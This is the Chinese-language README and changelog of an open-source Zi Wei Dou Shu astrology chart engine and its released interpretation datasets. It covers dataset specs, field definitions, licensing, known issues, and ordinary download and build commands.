1. \u53d1\u5e03 13 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0 \u2014\u2014 674,976 \u5f20\u547d\u76d8\uff08\u516c\u5386 1950\u20132026 \u5e74\u6bcf\u4e00\u4e2a\u771f\u5b9e\u65e5\u671f \u00d7 12 \u65f6\u8fb0 \u00d7 \u7537\u5973\uff09\u00d7 13 \u7ef4 = 8,774,688 \u6bb5\u89e3\u8bfb\uff0c\u6b63\u6587\u7ea6 204 \u4ebf\u5b57\u3002\u89e3\u538b\u540e 56.6 GB\uff08v3.0 \u4e3a 33.1 GB\uff0c\u589e\u52a0 71%\uff09\uff0c\u538b\u7f29\u540e\u53ea\u6709 161 MB\uff0c\u6309\u5e74\u4efd\u5206 77 \u4e2a\u6587\u4ef6\uff0c\u53ef\u4ee5\u53ea\u4e0b\u9700\u8981\u7684\u5e74\u4efd\uff0c\u4e5f\u53ef\u4ee5\u4e00\u6b21\u4e0b\u5168\u5e74\u4efd\u603b\u5305\u3002\u4e0b\u8f7d\u89c1 Release v4.0-13d\uff0c\u89c4\u683c\u548c\u5b57\u6bb5\u89c1\u7b2c\u4e8c\u00b7\u65b0\u7ae0\u3002\u53d1\u5e03\u524d 77 \u4e2a\u6587\u4ef6\u9010\u4e2a\u89e3\u538b\uff0c\u4e0e\u539f\u59cb\u6570\u636e\u9010\u5b57\u8282\u6bd4\u5bf9\u4e00\u81f4\u3002
\n2. 13 \u7ef4\u65ad\u8bed\u6309\u502a\u5e08\u539f\u8bdd\u4e0e\u300a\u5168\u4e66\u300b\u539f\u6587\u9010\u53e5\u6821\u6b63\uff08\u65ad\u8bed\u5e93\u4ecd\u4e0d\u5f00\u6e90\uff0c\u6821\u6b63\u7ed3\u679c\u4f53\u73b0\u5728 v4.0 \u6570\u636e\u96c6\u91cc\uff09\uff1a
\n3. \u6392\u76d8\u5f15\u64ce\u540c\u6b65\uff08PR #39\uff09\u2014\u2014 dst-cn.ts \u65b0\u589e chinaDSTSpan(year)\uff0c\u67e5\u67d0\u5e74\u4e2d\u56fd\u590f\u4ee4\u65f6\u8d77\u6b62\uff1bcities.ts \u8865\u5168\u7701\u76f4\u8f96\u53bf\u7ea7\u5355\u4f4d\u4e0e\u65b0\u7586\u5175\u56e2\u5404\u5e02\u7684\u7ecf\u5ea6\uff08\u795e\u519c\u67b6\u3001\u6d77\u5357\u5404\u5e02\u53bf\u3001\u963f\u62c9\u5c14\u7b49\uff09\uff0c\u51fa\u751f\u5730\u9009\u8fd9\u4e9b\u57ce\u5e02\u65f6\u771f\u592a\u9633\u65f6\u6821\u6b63\u53ef\u7528\u3002
4. \u8bb8\u53ef \u2014\u2014 DATASET-LICENSE \u9002\u7528\u8303\u56f4\u52a0\u4e0a v4.0\uff1b\u5199\u660e\u89e3\u8bfb\u91cc\u5f15\u7528\u7684\u502a\u5e08\u539f\u8bdd\u4e0d\u5728\u6570\u636e\u6388\u6743\u8303\u56f4\u5185\uff0c\u4e0e\u7b2c\u4e94\u7ae0\u502a\u5e08\u539f\u8bdd\u7684 CC BY-NC-SA 4.0 \u4e00\u81f4\u3002v3.0 \u6837\u672c\u6570\u636e\u96c6\u53ca\u5176\u6761\u6b3e\u4e0d\u53d8\u3002
\n\n2026-10-24 \u8865\u5145\uff1a\u9879\u76ee\u7406\u5ff5\u79fb\u5230\u9875\u9996\u2014\u2014\u6807\u9898\u4e0b\u5c45\u4e2d\u4e00\u53e5\u300c\u7b97\u6cd5\u662f\u516c\u5f00\u7684\u4f20\u7edf\u667a\u6167\uff0c\u4e0d\u5e94\u8be5\u88ab\u9501\u5728\u56f4\u5899\u91cc\u300d\uff0c\u7d27\u63a5\u4e24\u6bb5\u7406\u5ff5\u539f\u6587\uff08\u524d\u6807\u300c\u9879\u76ee\u7406\u5ff5\u300d\uff09\uff0c\u539f\u6709\u4ecb\u7ecd\u6bb5\u524d\u6807\u300c\u9879\u76ee\u4fe1\u606f\u300d\uff1b\u7b2c\u5341\u7ae0\u300c\u9879\u76ee\u7406\u5ff5\u300d\u6539\u4e3a\u6307\u5411\u9875\u9996\u3002
\n
\n\n2026-10-20 \u8865\u5145\uff1a\u661f\u66dc\u4eae\u5ea6\u9ed8\u8ba4\u6539\u4e3a\u300a\u6597\u6570\u5168\u4e66\u300b\uff0c\u4e0e\u4e3b\u6d41\u6392\u76d8\u8f6f\u4ef6\u9ed8\u8ba4\u4e00\u81f4\uff0c\u6b64\u524d\u9ed8\u8ba4\u7684\u300c\u73b0\u4ee3\u4fee\u6b63 v2\u300d\u4ecd\u53ef\u5728\u6d41\u6d3e\u8bbe\u7f6e\u91cc\u9009\uff1b\u8865\u9f50\u5929\u59da\u3001\u5929\u5211\u3001\u5929\u559c\u3001\u5927\u8017\u3001\u89e3\u795e\u3001\u622a\u7a7a\u3001\u526f\u622a\u3001\u65ec\u7a7a\u7684\u4eae\u5ea6\uff0c\u6708\u5fb7\u4e0d\u518d\u6807\u4eae\u5ea6\u3002\u7528 5 \u5f20\u91d1\u6807\u51c6\u76d8\u9010\u5bab\u6838\u5bf9\uff0c\u661f\u66dc\u843d\u5bab\u4e0e\u4eae\u5ea6\u5168\u90e8\u543b\u5408\u3002\u6ce8\u610f\uff1av4.0 \u6570\u636e\u96c6\uff0810-15\uff09\u662f\u6309\u65e7\u9ed8\u8ba4\u300c\u73b0\u4ee3\u4fee\u6b63 v2\u300d\u751f\u6210\u7684\uff0c\u5176\u4e2d\u4eae\u5ea6\u5b57\u548c\u5c11\u91cf\u968f\u4eae\u5ea6\u53d8\u5316\u7684\u89e3\u8bfb\u53e5\u4f1a\u4e0e\u65b0\u9ed8\u8ba4\u4e0d\u540c\u3002
\n
\n\n2026-10-06 ~ 10-07 \u8865\u5145\uff1aREADME \u52a0\u300c\u6ce8\uff1a\u5173\u4e8e\u516d\u4eb2\u5224\u65ad\u300d\uff08\u502a\u5e08\u539f\u8bdd + \u51fa\u5904\u94fe\u63a5\uff0c\u4e2d\u82f1\u4e24\u4efd\uff09\uff1b\u7f51\u7ad9\u94fe\u63a5\u52a0\u6e20\u9053\u7801
\n?from=\uff1b\u540c\u6b65\u502a\u5e08\u539f\u8bdd\u8bed\u6599\u52d8\u8bef\uff08\u4e3b\u661f\u5357\u6597\u3001\u5317\u6597\u5f52\u5c5e\uff09\u3002
\n\n2026-10-03 \u8865\u5145\uff1a\u502a\u5e08\u300a\u5929\u7eaa\u00b7\u7d2b\u5fae\u6597\u6570\u300b\u539f\u8bdd 1848 \u6761\u5355\u72ec\u6210\u7ae0\uff08\u7b2c\u4e94\u7ae0\uff09\uff1b\u5408\u5e76\u5916\u90e8\u8d21\u732e #29\uff08\u65f6\u8fb0\u5e8f\u53f7\u6821\u9a8c\uff09\uff1b\u5f15\u64ce\u62d2\u7edd\u4e0d\u5b58\u5728\u7684\u516c\u5386\u65e5\u671f\uff0c\u6570\u636e\u96c6\u8865\u5b57\u6bb5\u53e3\u5f84\u4e0e\u5df2\u77e5\u95ee\u9898\uff1b\u63d0\u4ea4 package-lock.json\uff1b\u7ad9\u70b9\u5730\u5740\u6539\u4e3a\u53ef\u914d\u7f6e\uff1b\u5408\u76d8\u6f14\u793a\u6539\u7528\u672c\u5730\u5f15\u64ce\u8d77\u76d8\u3001AI \u63a5\u53e3\u7f3a\u5931\u65f6\u660e\u786e\u63d0\u793a\uff1b\u8865\u9f50\u8d21\u732e\u6307\u5357\u3001\u884c\u4e3a\u51c6\u5219\u3001\u95ee\u9898\u4e0e PR \u6a21\u677f\uff1b\u65b0\u589e\u82f1\u6587\u7b80\u4ecb README.en.md\uff1b\u53bb\u6389\u4e24\u4e2a\u7528\u4e0d\u4e0a\u7684\u90e8\u7f72\u5de5\u5177\u5305\uff08vercel CLI\u3001@cloudflare/next-on-pages\uff09\uff0c\u4f9d\u8d56\u4ece 483 \u4e2a\u51cf\u5230 185 \u4e2a\uff1b\u968f\u540e\u5347\u7ea7\u5230 Next.js 16 \u4fee\u6389 postcss \u6f0f\u6d1e\uff0cGitHub \u5b89\u5168\u63d0\u9192\u4ece 51 \u6761\u6e05\u96f6\u3002
\n
![\"\u672c\u8f6e\u66f4\u65b0\u603b\u89c8\"](\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/update-20260921.png\")
\u65f6\u9694\u4e09\u4e2a\u6708\uff0c\u672c\u4ed3\u5e93\u5b8c\u6210\u4e00\u6b21\u5b8c\u6574\u66f4\u65b0\uff08PR #28\uff0c26 \u4e2a\u6587\u4ef6\u3001+2736 / \u2212108 \u884c\uff09\uff1a
\n1. \u6392\u76d8\u5f15\u64ce\u540c\u6b65\u5230\u7ebf\u4e0a\u53e3\u5f84 \u2014\u2014 algorithm.ts \u4ece 181 \u884c\u5230 641 \u884c\uff0c\u53e6\u66f4\u65b0 sihua / types / constants / patterns / cities / famous\uff1b\u65b0\u589e 8 \u4e2a\u6a21\u5757\uff081367 \u884c\uff09\uff1a
| \u6a21\u5757 | \n\u4f5c\u7528 | \n
|---|---|
true-solar-time.ts | \n \u771f\u592a\u9633\u65f6\u6821\u6b63\uff08\u7ecf\u5ea6\u5dee + \u5747\u65f6\u5dee\uff09 | \n
dst-cn.ts | \n \u4e2d\u56fd 1986\u20131991 \u590f\u4ee4\u65f6 | \n
lunar-solar.ts | \n \u519c\u5386 / \u516c\u5386\u4e92\u8f6c\u4e0e\u95f0\u6708\u8fb9\u754c clamp | \n
school-data.ts / school-tables.generated.ts / school-config.ts | \n \u661f\u66dc\u4eae\u5ea6\u6d41\u6d3e\u6570\u636e\u4e0e\u5bf9\u7167\u8868\u3001\u95f0\u6708\u4e0e\u665a\u5b50\u65f6\u53e3\u5f84\u914d\u7f6e | \n
shier-shen.ts | \n \u5341\u4e8c\u795e\u715e | \n
yunxian-context.ts | \n \u8fd0\u9650\u4e0a\u4e0b\u6587\uff08\u542b\u7ae5\u9650\uff09 | \n
2. \u8865\u4e0a\u56de\u5f52\u6d4b\u8bd5\u4e0e CI \u2014\u2014 \u6b64\u524d\u672c\u4ed3\u5e93\u6ca1\u6709\u4efb\u4f55\u6d4b\u8bd5\u3002\u73b0\u5728 5 \u6761\u6392\u76d8\u56de\u5f52\uff0cnpm test \u4e00\u6761\u547d\u4ee4\u8dd1\u5b8c\uff0c\u6bcf\u6b21 push \u4e0e PR \u5728 GitHub Actions \u4e0a\u81ea\u52a8\u8dd1\u3002
3. \u4fee\u6389\u6837\u672c\u65f6\u8fb0\u6ce8\u91ca\u9519\u4f4d\uff08#26\uff09\u2014\u2014 famous.ts \u91cc 11 \u6761\u540d\u4eba\u6837\u672c\u6709 7 \u6761\u7684\u65f6\u8fb0\u6ce8\u91ca\u4e0e hour \u7d22\u5f15\u4e0d\u7b26\uff08hour \u4e00\u76f4\u662f\u65f6\u8fb0\u5730\u652f\u7d22\u5f15 0\u201311\uff0c\u4e0d\u662f 0\u201323 \u7684\u5c0f\u65f6\u6570\uff09\u3002\u5df2\u6539\u6b63\u5e76\u52a0\u56de\u5f52\u9489\u4f4f\u3002
4. \u79ef\u538b issue \u4ece 18 \u6761\u6e05\u5230 4 \u6761\uff0c\u7559\u4e0b\u7684\u90fd\u662f\u8fd8\u5728\u8d70\u7684\u3002
\n5. \u6587\u6863\u4e0e\u8bb8\u53ef \u2014\u2014 \u65b0\u589e DATASET-LICENSE\uff1bREADME \u8865\u9f50\u5f15\u64ce\u80fd\u529b\u6e05\u5355\u3001\u7ef4\u62a4\u8282\u594f\u3001\u5f00\u6e90\u8fb9\u754c\uff1b\u4fee\u6b63\u4e24\u5904\u4e0d\u5b9e\u63cf\u8ff0\uff08\u6570\u636e\u96c6\u300c\u53e3\u5f84\u4e0e\u7ebf\u4e0a\u5b8c\u5168\u4e00\u81f4\u300d\u3001\u754c\u9762\u300c\u5b8c\u6574\u7684 Next.js 15 \u524d\u7aef\u300d\uff09\u3002
\n\n\u4e0b\u8f7d\u4f4d\u7f6e\uff1a\u672c\u4ed3\u5e93\u53f3\u4fa7 Releases \u2192 v4.0-13d
\n
v4.0 \u7528 2026-10-15 \u7248\u7f51\u7ad9\u65ad\u8bed\u5e93\u91cd\u65b0\u751f\u6210\uff1a13 \u4e2a\u5206\u6790\u7ef4\u5ea6\u7684\u65ad\u8bed\u5df2\u6309\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u9010\u5b57\u7a3f\u4e0e\u300a\u7d2b\u5fae\u6597\u6570\u5168\u4e66\u300b\u539f\u6587\u9010\u53e5\u6821\u6b63\u2014\u2014\u67e5\u4e0d\u5230\u51fa\u5904\u7684\u5f15\u6587\u5220\u53bb\u6216\u6362\u6210\u9010\u5b57\u53ef\u67e5\u7684\u539f\u8bdd\uff08\u502a\u5e08\u539f\u8bdd\u6ce8\u660e\u300a\u5929\u7eaa\u300b\u96c6\u6570\u4e0e\u65f6\u95f4\u7801\uff09\uff0c\u4e0d\u4f1a\u53d1\u751f\u7684\u56db\u5316\u76f8\u5173\u53e5\u5b50\u5220\u53bb\uff0c\u6709\u6761\u4ef6\u7684\u65ad\u8bed\u5199\u660e\u6761\u4ef6\u3002
\n| \u9879\u76ee | \n\u8bf4\u660e | \n
|---|---|
| \u547d\u76d8\u6570 | \n674,976 \u5f20\uff08\u516c\u5386 1950\u20132026 \u5e74 \u00d7 \u771f\u5b9e\u6bcf\u6708\u5929\u6570 \u00d7 12 \u65f6\u8fb0 \u00d7 \u7537\u5973\uff09 | \n
| \u89e3\u8bfb\u6bb5\u6570 | \n8,774,688 \u6bb5\uff08\u6bcf\u5f20\u76d8 13 \u7ef4\uff09 | \n
| \u7ef4\u5ea6 | \n\u547d\u683c\u603b\u89c8\u3001\u6027\u683c\u3001\u611f\u60c5\u3001\u4e8b\u4e1a\u3001\u8d22\u8fd0\u3001\u5065\u5eb7\u3001\u5144\u5f1f\u3001\u5b50\u5973\u3001\u8fc1\u79fb\u3001\u4eba\u9645\u3001\u7530\u5b85\u3001\u798f\u5fb7\u3001\u7236\u6bcd | \n
| \u5927\u5c0f | \n\u89e3\u538b\u540e 56.6 GB\uff1b\u538b\u7f29\u540e 161 MB\uff0877 \u4e2a\u5e74\u4efd\u6587\u4ef6\uff0czstd\uff1b\u53e6\u6709\u4e00\u4e2a\u5168\u5e74\u4efd\u603b\u5305 ziwei-interp-v4-all.tar\uff09 | \n
| \u6b63\u6587 | \n\u7ea6 204 \u4ebf\u5b57\uff0c\u6bcf\u5f20\u76d8\u7ea6 3.0 \u4e07\u5b57 | \n
| \u751f\u6210\u65b9\u5f0f | \n\u6392\u76d8\u5f15\u64ce + \u65ad\u8bed\u5e93\u786e\u5b9a\u6027\u751f\u6210\uff0c\u4e0d\u7ecf AI\uff0c\u540c\u4e00\u8f93\u5165\u6052\u5f97\u540c\u4e00\u8f93\u51fa | \n
| \u5185\u5bb9\u7248\u672c | \nca268829f7a9\uff08\u4e0e\u7f51\u7ad9\u540c\u671f\u7684 ANALYSIS_CONTENT_VERSION\uff09 | \n
\u6bcf\u884c\u4e00\u5f20\u76d8\uff08JSON Lines\uff09\uff0c\u5b57\u6bb5\uff1a
\n| \u5b57\u6bb5 | \n\u542b\u4e49 | \n
|---|---|
k | \n \u952e\uff1aYYYY-MM-DD-\u65f6\u8fb0\u5e8f\u53f7-\u6027\u522b\uff0c\u5982 1990-01-01-0-male | \n
y / m / d | \n \u516c\u5386\u51fa\u751f\u65e5\u671f\uff1b\u53ea\u542b\u771f\u5b9e\u5b58\u5728\u7684\u65e5\u671f\uff08\u4e0d\u518d\u6709 2 \u6708 30 \u65e5\u4e4b\u7c7b\uff09 | \n
h | \n \u65f6\u8fb0\u5e8f\u53f7 0\u201311\uff08\u5b50 = 0 \u2026\u2026 \u4ea5 = 11\uff09\uff0c\u4e0d\u662f\u949f\u70b9\uff1b\u5bf9\u7167\u8868\u89c1\u4e0a\u4e00\u8282 | \n
g | \n male / female | \n
ms | \n \u547d\u5bab\u7b2c\u4e00\u9897\u4e3b\u661f\uff1b\u547d\u5bab\u65e0\u4e3b\u661f\u65f6\u4e3a null | \n
t | \n \u5404\u7ef4\u5b57\u6570 | \n
c | \n 13 \u7ef4\u89e3\u8bfb\u5168\u6587\uff08Markdown\uff09\uff0c\u952e\u4e3a overview / personality / love / career / wealth / health / family / children / move / friends / home / spirit / parents | \n
\u53e3\u5f84\u8bf4\u660e
\n# \u4e00\u6b21\u4e0b\u5168\u90e8\uff1agh release download v4.0-13d --repo Renhuai123/ziwei-doushu -p \"ziwei-interp-v4-all.tar\"\n# \u53ea\u8981\u67d0\u51e0\u5e74\u5c31\u53ea\u4e0b\u90a3\u51e0\u5e74\uff0c\u4f8b\u5982 1990 \u5e74\nzstd -d --long=27 year-1990.jsonl.zst # \u5f97\u5230 year-1990.jsonl\nshasum -a 256 -c SHA256SUMS.txt --ignore-missing # \u6821\u9a8c\n--long=27 \u5fc5\u987b\u5e26\u4e0a\uff08\u538b\u7f29\u65f6\u7528\u4e86\u957f\u7a97\u53e3\uff09\u3002Windows \u53ef\u7528 zstd \u5b98\u65b9\u53d1\u5e03\u5305 \u91cc\u7684 zstd.exe\uff0c\u53c2\u6570\u76f8\u540c\u3002
\u89e3\u8bfb\u91cc\u5f15\u7528\u7684\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u539f\u8bdd\u4e0d\u5c5e\u4e8e\u672c\u6570\u636e\u96c6\u7684\u6388\u6743\u8303\u56f4\uff1a\u5b83\u4eec\u662f\u4e3a\u8bf4\u660e\u65ad\u8bed\u51fa\u5904\u800c\u6ce8\u660e\u96c6\u6570\u4e0e\u65f6\u95f4\u7801\u7684\u7b80\u77ed\u5f15\u7528\uff0c\u8457\u4f5c\u6743\u5f52\u539f\u6743\u5229\u4eba\uff1b\u8981\u628a\u8fd9\u4e9b\u539f\u8bdd\u5355\u72ec\u6210\u6279\u4f7f\u7528\uff0c\u6309\u7b2c\u4e94\u7ae0\u502a\u5e08\u539f\u8bdd\u7684 CC BY-NC-SA 4.0 \u5904\u7406\u3002\u300a\u7d2b\u5fae\u6597\u6570\u5168\u4e66\u300b\u539f\u6587\u5c5e\u516c\u6709\u9886\u57df\u3002
\n\u4e0e v3.0 \u76f8\u540c\uff1aCC BY 4.0\uff0c\u53ef\u81ea\u7531\u5546\u7528\uff0c\u552f\u4e00\u8981\u6c42\u662f\u4fdd\u7559\u6765\u6e90\u6807\u6ce8\uff08\u4e0a\u9762\u300c\u5f15\u6587\u8bf4\u660e\u300d\u91cc\u7684\u502a\u5e08\u539f\u8bdd\u9664\u5916\uff09\uff0c\u5b8c\u6574\u6761\u6b3e\u89c1 DATASET-LICENSE\u3002\u5f15\u7528\u65f6\u8bf7\u5199\uff1a
\n\n\n\u672c\u9879\u76ee\u4f7f\u7528\u4e86 \u7d2b\u5fae\u6597\u6570\u5f00\u6e90\u89e3\u8bfb\u6570\u636e\u96c6 v4.0\uff08674,976 \u5f20\u547d\u76d8 \u00d7 13 \u7ef4\uff09 \u6765\u6e90\uff1ahttps://github.com/Renhuai123/ziwei-doushu \u4f5c\u8005\uff1a\u738b\u591a\u9c7cAI
\n
\n\n\u4e0b\u8f7d\u4f4d\u7f6e\uff1a\u672c\u4ed3\u5e93\u53f3\u4fa7 Releases \u9875\u9762
\n
\u6211\u4eec\u5f00\u6e90\u4e86\u4e00\u5957\u5b8c\u6574\u7684\u7d2b\u5fae\u6597\u6570\u547d\u76d8\u6837\u672c\u6570\u636e\u96c6\uff0c\u8986\u76d6 51.8 \u4e07\u79cd\u6392\u76d8\u7ec4\u5408\uff08\u5e74 60 \u00d7 \u6708 12 \u00d7 \u65e5 30 \u00d7 \u65f6 12 \u00d7 \u6027\u522b 2\uff09\uff0c\u6bcf\u6761\u6837\u672c\u5305\u542b\u5b8c\u6574\u7684\u547d\u76d8\u7ed3\u6784\u548c\u57fa\u4e8e\u502a\u6d77\u53a6\u4f53\u7cfb\u7684\u89e3\u8bfb\u6587\u672c\u3002
\n| \u9879\u76ee | \n\u8bf4\u660e | \n
|---|---|
| \u6837\u672c\u6570\u91cf | \n518,400 \u6761 | \n
| \u603b\u5927\u5c0f | \n\u538b\u7f29\u540e 5.5 GB\uff08\u5206 3 \u5377\uff09\uff0c\u89e3\u538b\u540e 33.1 GB | \n
| \u4f53\u7cfb | \n\u502a\u6d77\u53a6\u300a\u5929\u7eaa\u300b\u6b63\u7edf\uff08\u7eaf\u98de\u661f\u6d3e\u5df2\u4e0b\u7ebf\uff09 | \n
| \u5185\u5bb9 | \n\u547d\u76d8 JSON + 13 \u4e3b\u9898\u89e3\u8bfb\u6587\u672c\uff08\u547d\u683c\u603b\u89c8\u3001\u8d22\u8fd0\u3001\u4e8b\u4e1a\u3001\u611f\u60c5\u3001\u5065\u5eb7\u7b49\uff09 | \n
| \u9a8c\u8bc1 | \n\u7537\u5973\u547d\u5dee\u5f02\u5316 100%\u3001\u5065\u5eb7\u542b\u5b50\u5348\u6d41\u6ce8 100%\u3001\u5973\u547d\u542b\u5987\u79d1\u4fdd\u517b 100% | \n
| \u53e3\u5f84 | \n\u7531 v3 \u7248\u6392\u76d8\u5f15\u64ce + \u5f53\u671f\u65ad\u8bed\u5e93\u751f\u6210\uff1b\u7ebf\u4e0a\u5f15\u64ce\u5728\u6301\u7eed\u66f4\u65b0\uff0c\u65b0\u7248\u8f93\u51fa\u4e0e\u672c\u6570\u636e\u96c6\u53ef\u80fd\u6709\u5dee\u5f02 | \n
\u5b57\u6bb5\u53e3\u5f84\uff08\u6bcf\u6761\u6837\u672c\u7531 birthInfo \u751f\u6210\uff0c\u5e38\u88ab\u770b\u9519\u7684\u662f hour\uff09\uff1a
| \u5b57\u6bb5 | \n\u542b\u4e49 | \n
|---|---|
birthInfo.year / month / day | \n \u516c\u5386\u51fa\u751f\u65e5\u671f\uff1a1924\u20131983 \u5e74\uff08\u4e00\u4e2a\u5b8c\u6574\u7532\u5b50\uff09\uff0c\u6bcf\u6708\u53d6 1\u201330 \u65e5 | \n
birthInfo.hour | \n \u65f6\u8fb0\u5e8f\u53f7 0\u201311\uff0c\u4e0d\u662f 0\u201323 \u70b9\u949f\uff1a\u5b50 = 0\u3001\u4e11 = 1 \u2026\u2026 \u4ea5 = 11 | \n
birthInfo.gender | \n male / female | \n
birthInfo.longitude | \n \u56fa\u5b9a 120\uff08\u4e1c\u7ecf 120\u00b0\uff0c\u672a\u505a\u5404\u5730\u771f\u592a\u9633\u65f6\u6821\u6b63\uff09 | \n
\u6587\u4ef6\u540d YYYY-MM-DD-hHH-\u6027\u522b.json | \n \u5176\u4e2d hHH \u540c\u6837\u662f\u65f6\u8fb0\u5e8f\u53f7\uff0c\u4f8b\u5982 h11 \u662f\u4ea5\u65f6\uff0c\u4e0d\u662f\u4e0a\u5348 11 \u70b9 | \n
\u65f6\u8fb0\u5e8f\u53f7\u4e0e\u949f\u70b9\u5bf9\u7167\uff1a
\n| \u5e8f\u53f7 | \n0 | \n1 | \n2 | \n3 | \n4 | \n5 | \n6 | \n7 | \n8 | \n9 | \n10 | \n11 | \n
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| \u65f6\u8fb0 | \n\u5b50 | \n\u4e11 | \n\u5bc5 | \n\u536f | \n\u8fb0 | \n\u5df3 | \n\u5348 | \n\u672a | \n\u7533 | \n\u9149 | \n\u620c | \n\u4ea5 | \n
| \u949f\u70b9 | \n23\u20131 | \n1\u20133 | \n3\u20135 | \n5\u20137 | \n7\u20139 | \n9\u201311 | \n11\u201313 | \n13\u201315 | \n15\u201317 | \n17\u201319 | \n19\u201321 | \n21\u201323 | \n
23:00\u201323:59 \u51fa\u751f\uff08\u665a\u5b50\u65f6\uff09\u6309\u6b21\u65e5\u6392\u76d8\u3001\u65f6\u8fb0\u53d6 0\uff1b00:00\u201300:59 \u51fa\u751f\uff08\u65e9\u5b50\u65f6\uff09\u6309\u5f53\u65e5\u6392\u76d8\u3001\u65f6\u8fb0\u540c\u6837\u53d6 0\u3002
\n\u5df2\u77e5\u95ee\u9898\uff1a\u7ea6 2,520 \u6761\u6837\u672c\u7684\u65e5\u671f\u5e76\u4e0d\u5b58\u5728\u3002 \u751f\u6210\u65f6\u6bcf\u4e2a\u6708\u90fd\u53d6\u4e86 1\u201330 \u65e5\uff0c\u6240\u4ee5 2 \u6708 30 \u65e5\uff0c\u4ee5\u53ca\u975e\u95f0\u5e74\u7684 2 \u6708 29 \u65e5\u4e5f\u751f\u6210\u4e86\u6837\u672c\uff0c\u5171 105 \u4e2a\u65e5\u671f \u00d7 12 \u65f6\u8fb0 \u00d7 2 \u6027\u522b = 2,520 \u6761\uff0c\u5360 0.49%\u3002v3 \u5f15\u64ce\u9047\u5230\u8fd9\u7c7b\u65e5\u671f\u4e0d\u62a5\u9519\uff0c\u800c\u662f\u987a\u5ef6\u6210 3 \u6708 1\u20132 \u65e5\u6392\u76d8\uff0c\u6240\u4ee5\u8fd9\u4e9b\u6837\u672c\u7684\u5185\u5bb9\u4e0e\u5bf9\u5e94\u7684 3 \u6708 1\u20132 \u65e5\u6837\u672c\u91cd\u590d\u3002\u4f7f\u7528\u65f6\u8bf7\u8fc7\u6ee4\u6389\uff1amonth = 2 \u4e14 day = 30\uff0c\u6216 month = 2 \u4e14 day = 29 \u4e14\u8be5\u5e74\u4e0d\u662f\u95f0\u5e74\u3002\u5f15\u64ce\u4ece 2026-10-03 \u8d77\u4f1a\u76f4\u63a5\u62d2\u7edd\u4e0d\u5b58\u5728\u7684\u65e5\u671f\uff0c\u4e0b\u4e00\u7248\u6570\u636e\u96c6\u4e0d\u4f1a\u518d\u6709\u8fd9\u7c7b\u6837\u672c\u3002
\u524d\u5f80 Releases \u4e0b\u8f7d\u4ee5\u4e0b\u6587\u4ef6\uff1a
\nziwei-samples-v3-part1.zip.001 (1.9 GB)\nziwei-samples-v3-part2.zip.002 (1.9 GB)\nziwei-samples-v3-part3.zip.003 (1.8 GB)\nSHA256SUMS.txt (\u6821\u9a8c\u6587\u4ef6)\n\u4e0b\u8f7d\u540e\u5408\u5e76\u89e3\u538b\uff1a
\n# macOS / Linux\ncat ziwei-samples-v3-part*.zip.* > combined.zip\nunzip combined.zip\n\n# Windows (PowerShell)\nGet-Content ziwei-samples-v3-part*.zip.* -Encoding Byte -ReadCount 0 | Set-Content combined.zip -Encoding Byte\nExpand-Archive combined.zip\npatterns.ts \u540e\u505a A/B \u57fa\u7ebf\u5bf9\u6bd4\ud83d\udcc2 \u5b8c\u5168\u5f00\u6e90 \u00b7 \u53ef\u81ea\u7531\u5546\u7528 \u2014\u2014 \u4f60\u53ef\u4ee5\u5728\u4efb\u4f55\u9879\u76ee\u91cc\u4f7f\u7528\u8fd9\u5957\u6570\u636e\uff0c\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e\uff1a
\n\u65e0\u9700\u4ed8\u8d39\u3001\u65e0\u9700\u7533\u8bf7\u3001\u65e0\u9700\u4e8b\u5148\u544a\u77e5\u3002
\n\u552f\u4e00\u7684\u8981\u6c42\u662f\u4fdd\u7559\u6570\u636e\u6765\u6e90\u6807\u6ce8\uff08attribution\uff09\uff1a
\n\n\n\u672c\u9879\u76ee\u4f7f\u7528\u4e86 \u7d2b\u5fae\u6597\u6570\u5f00\u6e90\u6837\u672c\u6570\u636e\u96c6 v3.0\uff08518,400 \u6761\uff09 \u6765\u6e90\uff1ahttps://github.com/Renhuai123/ziwei-doushu \u4f5c\u8005\uff1a\u738b\u591a\u9c7cAI
\n
\u653e\u5728\u54ea\u91cc\u90fd\u884c\uff1a
\n\u4ec5\u6b64\u4e00\u6761\uff0c\u5176\u4f59\u90fd\u81ea\u7531\u3002\u5b8c\u6574\u6761\u6b3e\u89c1 DATASET-LICENSE\u3002\u5e0c\u671b\u8fd9\u5957\u6570\u636e\u80fd\u5e2e\u4f60\u505a\u51fa\u597d\u4e1c\u897f \u2014\u2014 \u505a\u51fa\u6765\u8bb0\u5f97\u6765\u5c0f\u7ea2\u4e66 / \u6296\u97f3 / \u95f2\u9c7c @\u738b\u591a\u9c7cAI \u6253\u4e2a\u62db\u547c \ud83d\udc4b
\n# \u514b\u9686\ngit clone https://github.com/Renhuai123/ziwei-doushu.git\ncd ziwei-doushu\n\n# \u5b89\u88c5\u4f9d\u8d56\nnpm install\n\n# \u914d\u7f6e\u73af\u5883\u53d8\u91cf\uff08\u53ea\u770b\u6392\u76d8\u53ef\u4ee5\u8df3\u8fc7\uff1bAI \u914d\u7f6e\u4ec5\u5728\u4f60\u81ea\u5df1\u5b9e\u73b0\u4e86 /api/* \u63a5\u53e3\u65f6\u624d\u7528\u5f97\u4e0a\uff09\ncp .env.example .env.local\n\n# \u542f\u52a8\u5f00\u53d1\u670d\u52a1\u5668\nnpm run dev\n\u672c\u5730\u9a8c\u8bc1\uff1a
\nnpm run typecheck # TypeScript \u5168\u91cf\u7c7b\u578b\u68c0\u67e5\nnpm test # \u6392\u76d8\u5f15\u64ce\u56de\u5f52\uff08768 \u76d8 \u00d7 \u7d2b\u5fae\u94c1\u5f8b\u3001\u590f\u4ee4\u65f6\u3001\u7acb\u6625\u8fb9\u754c\u3001\u7ea2\u9e3e\u5929\u559c\u3001\u6837\u672c\u65f6\u8fb0\u4e00\u81f4\u6027\u3001\u65f6\u8fb0\u5e8f\u53f7\u8fb9\u754c\u3001\u65e5\u671f\u5408\u6cd5\u6027\u3001\u540c\u5bab\u53cc\u56db\u5316\uff09\n\u6bcf\u6b21 push \u4e0e PR \u90fd\u4f1a\u5728 GitHub Actions \u4e0a\u8dd1\u540c\u4e00\u5957\uff08\u89c1 .github/workflows/ci.yml\uff09\u3002
